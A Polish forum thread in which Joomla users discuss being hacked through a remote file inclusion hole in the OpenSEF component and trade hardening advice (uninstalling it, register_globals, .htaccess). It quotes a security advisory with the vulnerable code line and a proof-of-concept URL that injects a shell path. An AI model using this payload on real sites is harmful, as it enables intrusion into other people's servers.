Komponent OpenSef Proponuje odinstalować !

[basil]

Zostalem ofiara wykorzystania luki bezpieczenstwa w komponencie OpenSef



Proponuje ODINSTALOWAC KOMPONENT !
do czasu opracowania łatki.

luki maja wersje:
OpenSEF Project OpenSEF 2.0-beta3
OpenSEF Project OpenSEF 2.0 RC5 SP2
OpenSEF Project OpenSEF 2.0 RC5 SP1
OpenSEF Project OpenSEF 2.0 RC5
OpenSEF Project OpenSEF 2.0 RC4
OpenSEF Project OpenSEF 2.0 RC3
OpenSEF Project OpenSEF 2.0 RC2
OpenSEF Project OpenSEF 2.0 RC1

A Oto jak tego dokonali izraelczycy:

Joomla OpenSEF Component mosConfig_absolute_path Remote File Include Vulnerability

#####################
Aria-Security.net Advisory
Discovered by: O.U.T.L.A.W # # < www.Aria-security.net >
Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp
###################

#Software: OpenSEF

#Attack method: Remote File Inclusion

#Description : OpenSEF is a Joomla component that extends the built-in SEF (Search Engine Friendly)

#Source:

require_once( $mosConfig_absolute_path . '/includes/sef.php' );

} else {

// Joomla!'s SEF option is turned off; revert to Joomla!'s original-style

#Proof of Concept:

#http://www.site.com/sef.php?mosConfi...ute_path=SHELL

#

#----------------------------------------------------------

#

#

OpenSEF Project OpenSEF 2.0-beta3
OpenSEF Project OpenSEF 2.0 RC5 SP2
OpenSEF Project OpenSEF 2.0 RC5 SP1
OpenSEF Project OpenSEF 2.0 RC5
OpenSEF Project OpenSEF 2.0 RC4
OpenSEF Project OpenSEF 2.0 RC3
OpenSEF Project OpenSEF 2.0 RC2
OpenSEF Project OpenSEF 2.0 RC1

[Radef]

A miałeś zainstalowaną łatkę bezpieczeństwa na plik sef.php?

Jak sprawdzić czy to zadziała z moją wersją open-sef?

[basil]

oczywiscie plik sef.php byl podmieniony na najnowsza wersje.
Nie musze jeszcze dodawac ze Joomla takze w wersji 1.0.11

[josh]

mi sie wbili przez joomle 1.0.11 bo olalem zalecane ustawienia register global

takze zalecam ustawic to tak jak nalezy

[Radef]

Mnie nie udało się przekonać administratora do wyłaczenia tej zmiennej. Da się jakoś to zabezpieczyć?

[nexus246]

Zależy od serwera, w htaccess. Basil zapewne nie wykorzystał do łaczonego do v. 1.0.11 htaccessa blokującego wywołania ze zmiennymi z konfiguracji w adresie URL.

[basil]

tak to fakt zmodyfikowalem plik .htacces aby bezproblemowo dzialal z opensef i to byl wielki blad.
Zaprawde powiadam wam jak nie chcecie zobaczyc swojego serwisu www wywalonego w kosmos uzywajcie tylko sprzwdzonych komponentow ich najnowszysch wersji. a plik htacces zgodny z tym co napisal RobS
Zrobcie tez sobie Security test

[mamona]

Przekopalem forum i nie wiem czy sprawa jest aktualna patrzac na date postu. Moze ktos wyjasnic co robic i czego nie robic z OpenSEF by nie narazic sie na jakiegos ZONKA?
Postawilem sobie RC4 PL i mnie doslownie zachwycil.

[Rybik]

warto rowniez wiedziec co to alpha, beta, RC i stable a bez register_globals off mozna sie wladowac przez wiele innych dziur. Jezeli admin nie daje sie przekonac to nalezy zmienic hosting.

[Riaan]

powiedzcie mi jakim cudem agres odnajduje joomle z zainstalowanym i skonfigurowanym przez siebie open sef.. jesli nie poprzez adres to co zdradza obecność joomli?